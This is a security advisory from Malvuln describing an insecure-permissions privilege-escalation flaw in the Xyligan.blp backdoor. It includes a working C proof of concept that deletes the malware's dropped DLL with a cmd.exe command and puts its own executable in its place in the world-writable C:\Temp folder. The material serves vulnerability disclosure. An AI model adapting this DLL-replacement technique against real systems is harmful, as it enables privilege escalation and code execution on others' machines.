Backdoor.Win32.Xyligan.blp / Insecure Permissions EoP

2021.02.12
us malvuln (US) us
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/6b9afcad282516173c0ab8a6eb91e8b4.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Xyligan.blp Vulnerability: Insecure Permissions EoP Description: Xyligan.blp creates an insecure dir named "Temp" under c:\ drive and drops DLL "FengYun.dll into it". The C:\Temp is granted change (C) permissions to the authenticated users group allowing any authenticated user to change the DLL to one of their own executables. Type: PE32 MD5: 6b9afcad282516173c0ab8a6eb91e8b4.exe Vuln ID: MVID-2021-0065 Dropped files: FengYun.dll Disclosure: 02/01/2021 Exploit/PoC: #include "stdio.h" #include "windows.h" #define TARGET "C:\\Temp\\FengYun.dll" #define TMP "C:\\Temp\\2.exe" #define DISABLED_TARGET "C:\\Temp\\pwn.tmp" /* Backdoor.Win32.Xyligan.blp.6b9afcad282516173c0ab8a6eb91e8b4.exe */ /* Insecure Permissions EoP */ /* By Malvuln */ BOOL PWNED=FALSE; BOOL FileExists(LPCTSTR szPath){ DWORD dwAttrib = GetFileAttributes(szPath); return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY)); } void main(void){ if(!FileExists(DISABLED_TARGET)){ WinExec("cmd.exe /c del C:\\Temp\\FengYun.dll", 0); Sleep(1000); CopyFile(TARGET, TMP, FALSE); Sleep(1000); CopyFile(TMP, DISABLED_TARGET, FALSE); printf("[+] Backdoor.Win32.Xyligan.blp EoP PoC\n"); Sleep(1000); printf("[+] Deleted FengYun.dll ...\n"); Sleep(300); }else{ PWNED=TRUE; } if(!PWNED){ char fname[MAX_PATH]; char newLoc[]=TARGET; DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH); if (size){ printf("[+] Copying exploit to vuln dir...\n"); Sleep(1000); CopyFile(fname, TARGET, FALSE); printf("[+] Done!\n"); exit(0); } }else{ if(FileExists(TMP)){ remove(TMP); } printf("[+] Backdoor.Win32.Xyligan.blp PWNED!\n"); printf("[+] MD5: 6b9afcad282516173c0ab8a6eb91e8b4\n"); printf("[+] By Malvuln\n"); system("pause"); } } C:\>cacls \Temp C:\Temp BUILTIN\Administrators:(OI)(CI)(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F BUILTIN\Users:(OI)(CI)(ID)R NT AUTHORITY\Authenticated Users:(ID)C NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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